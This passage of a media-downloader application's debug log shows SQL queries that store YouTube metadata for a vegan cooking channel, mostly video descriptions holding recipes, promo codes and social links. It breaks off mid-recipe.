milk\n¼ cup nondairy yogurt\n1 scoop vegan chocolate protein powder\n3 tbsp chia seeds\n2 tbsp drippy peanut butter (or PB2)\n\n1. In a protein shaker cup mix the milk, yogurt, protein powder and chia seeds until well combined. \n2. In a glass or bowl spread 1 tbsp peanut butter along the sides. Pour the chia pudding mixture into the glass and top with more peanut butter and some banana slices (optional).\n3. Set in the fridge for 30 minutes until thickened and enjoy!\n\nLUNCH - instant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\nDINNER - chick'n salad wraps\n½ bag of Butler soy curls, rehydrated\n¼ cup vegan mayonnaise\n2 stalks celery, finely diced\n½ a medium onion, finely diced\n½ cup gherkin pickles, diced (or sweet green relish)\n2 tsp garlic powder\nsalt and pepper to taste\n\n1. In a large bowl, rehydrate the soy curls in hot boiling water for 10 minutes, then drain and press out the remaining liquid with the back of a large spoon into a fine mesh sieve. Place in the fridge to cool for 30 minutes.\n2. Chop up the soy curls into small pieces, and transfer back into the large mixing bowl. Add all the remaining ingredients and stir until you have a well combined mixture.\n3. Serve in sandwiches, in lettuce wraps, tortillas, with crackers or simply enjoy on it's own!\n\nDESSERT - black and white jam bites\nrecipe here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0GF\u00A0Desserts\u00A0I'm\u00A0Bingeing\u00A0Right\u00A0Now\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat In a Day | QUICK HIGH-PROTEIN MEALS", "45db8c6f-70a8-414c-9d56-790ab722cf77", 1, [], false, "_3_OckoaenQ", "https://www.youtube.com/watch?v=_3_OckoaenQ", 306, "/downloads/downloads/alec/Steamy Vegan/2023-05-03 VEGAN What I Eat In a Day | QUICK HIGH-PROTEIN MEALS/VEGAN What I Eat In a Day | QUICK HIGH-PROTEIN MEALS [_3_OckoaenQ].NA", false, false, false, 2, ~U[2023-05-03 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "A look at some quick high-protein vegan meals, what I eat in a day! Realistic, simple and delicious recipes. 🌱🥣 I ate as much protein as I realistically could on this day and really enjoyed what I came up with. 😊\n\nEating plant-based makes me feel good, keeps me fuelled and fills my body with so much energy!\n\nRECIPES IN THIS VIDEO\n\nBREAKFAST - chocolate protein chia pudding\nFor 1 serving\n8 oz plant milk\n¼ cup nondairy yogurt\n1 scoop vegan chocolate protein powder\n3 tbsp chia seeds\n2 tbsp drippy peanut butter (or PB2)\n\n1. In a protein shaker cup mix the milk, yogurt, protein powder and chia seeds until well combined. \n2. In a glass or bowl spread 1 tbsp peanut butter along the sides. Pour the chia pudding mixture into the glass and top with more peanut butter and some banana slices (optional).\n3. Set in the fridge for 30 minutes until thickened and enjoy!\n\nLUNCH - instant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\nDINNER - chick'n salad wraps\n½ bag of Butler soy curls, rehydrated\n¼ cup vegan mayonnaise\n2 stalks celery, finely diced\n½ a medium onion, finely diced\n½ cup gherkin pickles, diced (or sweet green relish)\n2 tsp garlic powder\nsalt and pepper to taste\n\n1. In a large bowl, rehydrate the soy curls in hot boiling water for 10 minutes, then drain and press out the remaining liquid with the back of a large spoon into a fine mesh sieve. Place in the fridge to cool for 30 minutes.\n2. Chop up the soy curls into small pieces, and transfer back into the large mixing bowl. Add all the remaining ingredients and stir until you have a well combined mixture.\n3. Serve in sandwiches, in lettuce wraps, tortillas, with crackers or simply enjoy on it's own!\n\nDESSERT - black and white jam bites\nrecipe here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0GF\u00A0Desserts\u00A0I'm\u00A0Bingeing\u00A0Right\u00A0Now\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------ (truncated) 20:31:08.323 [debug] QUERY OK source="sources" db=1.0ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.326 [debug] QUERY OK source="media_items" db=2.1ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-30 00:00:00Z], 1] 20:31:08.334 [debug] QUERY OK source="media_items" db=7.8ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These gluten free and vegan desserts are totally binge-worthy. They're perfect for dessert, snacks, parties, movie nights, or when you're just craving something sweet that's GF and Vegan.\n\nIf you're craving some other vegan and GF chocolate-y gems, below are a few of my other recipes:\nChocolate Chip Cookies: \u00A0\u00A0\u00A0•\u00A0THE\u00A0BEST\u00A0VEGAN\u00A0CHOCOLATE\u00A0CHIP\u00A0COOKIE\u00A0RECIP...\u00A0\u00A0\nDark Chocolate Fruity Nut Clusters: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\nChocolate Cream Pie: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\nSweet Potato Brownies: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Sweet\u00A0Potato\u00A0Brownies!\u00A0Gluten-free,\u00A0...\u00A0\u00A0\nProtein Brownies: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BROWNIES!\u00A0Vegan\u00A0high-protein...\u00A0\u00A0\n\nBLACK AND WHITE JAM BITES\nVegan white chocolate, melted\nVegan milk or dark chocolate, melted\nYour fave jam (recipe for my blueberry chia seed jam ➡️ )\nOptional: nut butter, pecans\n\n1. On a lined baking tray, spread out one layer of melted chocolate into small circles, then set in the freezer for 10 minutes.\n2. Once the chocolate has hardened, dollop about 1 tsp of jam into the centre of the chocolate, trying to keep it from spreading too much. Pop back in the freezer for 10 minutes to slightly set.\n3. Drizzle the other melted chocolate on top of the jam until the jam is completely covered. Set in the freezer once more for 10 minutes until its hardened. Then enjoy!\n\nCHOCOLATE PECAN TURTLE BITES\nMedjool dates, pitted\nNut or seed butter\nHalved pecans\nVegan milk or dark chocolate, melted\nSea salt\n\n1. On a lined baking tray or plate, assemble the halved medjool dates and add a tsp of your fave nut or seed butter.\n2. Place a pecan half in the middle and then drizzle the melted chocolate over top until the stuffed date is completely covered. \n3. Garnish with sea salt and pop in the freezer for 10 minutes to set. Enjoy!\n\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan GF Desserts I'm Bingeing Right Now", "f9e8d28d-fb90-4b9d-8efd-0d7821c0563c", 1, [], false, "IEgDQNlh93M", "https://www.youtube.com/watch?v=IEgDQNlh93M", 307, "/downloads/downloads/alec/Steamy Vegan/2023-04-30 Vegan GF Desserts I'm Bingeing Right Now/Vegan GF Desserts I'm Bingeing Right Now [IEgDQNlh93M].NA", false, false, false, 1, ~U[2023-04-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "These gluten free and vegan desserts are totally binge-worthy. They're perfect for dessert, snacks, parties, movie nights, or when you're just craving something sweet that's GF and Vegan.\n\nIf you're craving some other vegan and GF chocolate-y gems, below are a few of my other recipes:\nChocolate Chip Cookies: \u00A0\u00A0\u00A0•\u00A0THE\u00A0BEST\u00A0VEGAN\u00A0CHOCOLATE\u00A0CHIP\u00A0COOKIE\u00A0RECIP...\u00A0\u00A0\nDark Chocolate Fruity Nut Clusters: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\nChocolate Cream Pie: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\nSweet Potato Brownies: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Sweet\u00A0Potato\u00A0Brownies!\u00A0Gluten-free,\u00A0...\u00A0\u00A0\nProtein Brownies: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BROWNIES!\u00A0Vegan\u00A0high-protein...\u00A0\u00A0\n\nBLACK AND WHITE JAM BITES\nVegan white chocolate, melted\nVegan milk or dark chocolate, melted\nYour fave jam (recipe for my blueberry chia seed jam ➡️ )\nOptional: nut butter, pecans\n\n1. On a lined baking tray, spread out one layer of melted chocolate into small circles, then set in the freezer for 10 minutes.\n2. Once the chocolate has hardened, dollop about 1 tsp of jam into the centre of the chocolate, trying to keep it from spreading too much. Pop back in the freezer for 10 minutes to slightly set.\n3. Drizzle the other melted chocolate on top of the jam until the jam is completely covered. Set in the freezer once more for 10 minutes until its hardened. Then enjoy!\n\nCHOCOLATE PECAN TURTLE BITES\nMedjool dates, pitted\nNut or seed butter\nHalved pecans\nVegan milk or dark chocolate, melted\nSea salt\n\n1. On a lined baking tray or plate, assemble the halved medjool dates and add a tsp of your fave nut or seed butter.\n2. Place a pecan half in the middle and then drizzle the melted chocolate over top until the stuffed date is completely covered. \n3. Garnish with sea salt and pop in the freezer for 10 minutes to set. Enjoy!\n\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan GF Desserts I'm Bingeing Right Now", 1, nil, false, "IEgDQNlh93M", "https://www.youtube.com/watch?v=IEgDQNlh93M", "/downloads/downloads/alec/Steamy Vegan/2023-04-30 Vegan GF Desserts I'm Bingeing Right Now/Vegan GF Desserts I'm Bingeing Right Now [IEgDQNlh93M].NA", false, ~U[2023-04-30 00:00:00Z]] 20:31:08.335 [debug] QUERY OK source="sources" db=0.6ms idle=15.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.337 [debug] QUERY OK source="media_items" db=2.0ms idle=13.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-27 00:00:00Z], 1] 20:31:08.343 [debug] QUERY OK source="media_items" db=5.0ms idle=13.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Peanut Butter and Berry Chia Pudding breakfast recipe is a simple and lazy-delicious take on the classic flavour combo of peanut butter and jam. It’s vegan and gluten-free and is the perfect throw-together breakfast when you need something a little more filling than pb and jam on toast. \n\nChia seeds are packed full of energy and fibre and will keep you full! This recipe requires just 5 simple ingredients and takes only 5 minute to make.\n\nPB & Berry Chia Pudding\n2 tbsp chia seeds\n3/4 cup plant milk\n1/2 cup frozen berries\n2 tbsp peanut butter\n1 to 2 tbsp maple syrup\n\nOptional:\n1 tsp vanilla extract\n3 tbsp vanilla nondairy yogurt\n1 sliced banana\n\nIn a blender blend the milk, berries and maple syrup (plus optional vanilla extract and yogurt if you wish) until smooth and creamy. Mix in the chia seeds with a spatula (don’t blend) and set aside for a couple minutes.\n\nIn a jar or bowl spread your peanut butter around the edges to create a lovely effect, or simply layer it in any way you like. Pour the chia berry mixture into the jar and add additional peanut butter and any other toppings you like.\n\nSeal with lid and place in the fridge to thicken up for 30 minutes, and then enjoy!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN PB & J Chia Pudding! 5 minutes, 5 ingredients", "88785e3f-90ef-4f4d-b929-ee440206d40c", 1, [], false, "HkbHmoMrtRk", "https://www.youtube.com/watch?v=HkbHmoMrtRk", 308, "/downloads/downloads/alec/Steamy Vegan/2023-04-27 VEGAN PB & J Chia Pudding! 5 minutes, 5 ingredients/VEGAN PB & J Chia Pudding! 5 minutes, 5 ingredients [HkbHmoMrtRk].NA", false, false, false, 2, ~U[2023-04-27 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This Peanut Butter and Berry Chia Pudding breakfast recipe is a simple and lazy-delicious take on the classic flavour combo of peanut butter and jam. It’s vegan and gluten-free and is the perfect throw-together breakfast when you need something a little more filling than pb and jam on toast. \n\nChia seeds are packed full of energy and fibre and will keep you full! This recipe requires just 5 simple ingredients and takes only 5 minute to make.\n\nPB & Berry Chia Pudding\n2 tbsp chia seeds\n3/4 cup plant milk\n1/2 cup frozen berries\n2 tbsp peanut butter\n1 to 2 tbsp maple syrup\n\nOptional:\n1 tsp vanilla extract\n3 tbsp vanilla nondairy yogurt\n1 sliced banana\n\nIn a blender blend the milk, berries and maple syrup (plus optional vanilla extract and yogurt if you wish) until smooth and creamy. Mix in the chia seeds with a spatula (don’t blend) and set aside for a couple minutes.\n\nIn a jar or bowl spread your peanut butter around the edges to create a lovely effect, or simply layer it in any way you like. Pour the chia berry mixture into the jar and add additional peanut butter and any other toppings you like.\n\nSeal with lid and place in the fridge to thicken up for 30 minutes, and then enjoy!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN PB & J Chia Pudding! 5 minutes, 5 ingredients", 1, nil, false, "HkbHmoMrtRk", "https://www.youtube.com/watch?v=HkbHmoMrtRk", "/downloads/downloads/alec/Steamy Vegan/2023-04-27 VEGAN PB & J Chia Pudding! 5 minutes, 5 ingredients/VEGAN PB & J Chia Pudding! 5 minutes, 5 ingredients [HkbHmoMrtRk].NA", false, ~U[2023-04-27 00:00:00Z]] 20:31:08.344 [debug] QUERY OK source="sources" db=0.8ms idle=16.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.346 [debug] QUERY OK source="media_items" db=2.2ms idle=9.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-25 00:00:00Z], 1] 20:31:08.348 [debug] QUERY OK source="media_items" db=1.4ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Breakfast just needs to be quick and delicious sometimes and in these ASMR style recipes I've put together my favorite vegan and GF breakfast recipes that I make in under 5 minutes!\n\nMake these 5 ingredient 5 minute vegan and gluten free breakfasts and let me know in the comments which one was your favorite or which one you plan to make.\n\nChocolate Sunbutter Chia Pudding\n2 tbsp chia seeds\n¾ cup soy milk\n1 to 2 tbsp maple syrup\n2 tbsp crunchy sunbutter\n2 tbsp cocoa powder\nOptional: \n1 tsp vanilla \n3 tbsp nondairy yogurt\n1 sliced banana\n\nAvocado Bean & Yam Toast\n2 slices yam toast\n½ an avocado\n½ cup chickpeas\nTomato slices\nLeafy greens\nOptional:\nSalt and pepper\nNooch\nFresh basil\n\nCheezy Breakfast Wrap\nTortilla\nBlack Beans\nSalsa\nGreens\nVegan cheese\n\nPB & J Granola Bowl\nGranola (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0Tahini\u00A0Granola!\u00A0Easy\u00A0&\u00A0healthy\u00A0tahini\u00A0lemo...\u00A0\u00A0)\nNondairy Yogurt\nNut or seedbutter\nBlueberry Chia Jam (recipe here ➡️ https://steamyvegan.com/chia-jam/)\nFresh fruit\n\nLoaded Waffles\nFrozen waffles\nBlueberry chia jam\nnut or seed butter\nhemp hearts\nbanana slices\nOptional:\nCinnamon\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "5 MINUTE BREAKFAST IDEAS! Vegan, gluten-free, only 5 ingredients needed", "50a50ceb-b9ee-4cb6-b156-11a0e2011a98", 1, [], false, "MGEm9UCZdlM", "https://www.youtube.com/watch?v=MGEm9UCZdlM", 309, "/downloads/downloads/alec/Steamy Vegan/2023-04-25 5 MINUTE BREAKFAST IDEAS! Vegan, gluten-free, only 5 ingredients needed/5 MINUTE BREAKFAST IDEAS! Vegan, gluten-free, only 5 ingredients needed [MGEm9UCZdlM].NA", false, false, false, 1, ~U[2023-04-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Breakfast just needs to be quick and delicious sometimes and in these ASMR style recipes I've put together my favorite vegan and GF breakfast recipes that I make in under 5 minutes!\n\nMake these 5 ingredient 5 minute vegan and gluten free breakfasts and let me know in the comments which one was your favorite or which one you plan to make.\n\nChocolate Sunbutter Chia Pudding\n2 tbsp chia seeds\n¾ cup soy milk\n1 to 2 tbsp maple syrup\n2 tbsp crunchy sunbutter\n2 tbsp cocoa powder\nOptional: \n1 tsp vanilla \n3 tbsp nondairy yogurt\n1 sliced banana\n\nAvocado Bean & Yam Toast\n2 slices yam toast\n½ an avocado\n½ cup chickpeas\nTomato slices\nLeafy greens\nOptional:\nSalt and pepper\nNooch\nFresh basil\n\nCheezy Breakfast Wrap\nTortilla\nBlack Beans\nSalsa\nGreens\nVegan cheese\n\nPB & J Granola Bowl\nGranola (recipe here ➡️ \u00A0\u00A0\u00A0•\u00A0Tahini\u00A0Granola!\u00A0Easy\u00A0&\u00A0healthy\u00A0tahini\u00A0lemo...\u00A0\u00A0)\nNondairy Yogurt\nNut or seedbutter\nBlueberry Chia Jam (recipe here ➡️ https://steamyvegan.com/chia-jam/)\nFresh fruit\n\nLoaded Waffles\nFrozen waffles\nBlueberry chia jam\nnut or seed butter\nhemp hearts\nbanana slices\nOptional:\nCinnamon\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "5 MINUTE BREAKFAST IDEAS! Vegan, gluten-free, only 5 ingredients needed", 1, nil, false, "MGEm9UCZdlM", "https://www.youtube.com/watch?v=MGEm9UCZdlM", "/downloads/downloads/alec/Steamy Vegan/2023-04-25 5 MINUTE BREAKFAST IDEAS! Vegan, gluten-free, only 5 ingredients needed/5 MINUTE BREAKFAST IDEAS! Vegan, gluten-free, only 5 ingredients needed [MGEm9UCZdlM].NA", false, ~U[2023-04-25 00:00:00Z]] 20:31:08.349 [debug] QUERY OK source="sources" db=0.8ms idle=11.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.352 [debug] QUERY OK source="media_items" db=1.6ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-22 00:00:00Z], 1] 20:31:08.354 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'll show you how to make east tahini granola! This healthy tahini lemon poppyseed granola is my current OBSESSION. Tahini is magic and helps make this granola even healthier, more satisfying and adds a lovely nutty flavour. It's crunchy, tangy, fragrant, sweet and oh so crunchy! It's perfect for munching, in yogurt or smoothie bowls and more! Can't wait for you to try it.\n\nTAHINI & LEMON POPPYSEED GRANOLA\n3 cups rolled oats (GF if needed)\n½ cup almond flour\n1 cup chopped pecans\nzest and juice of 1 lemon \n¼ cup 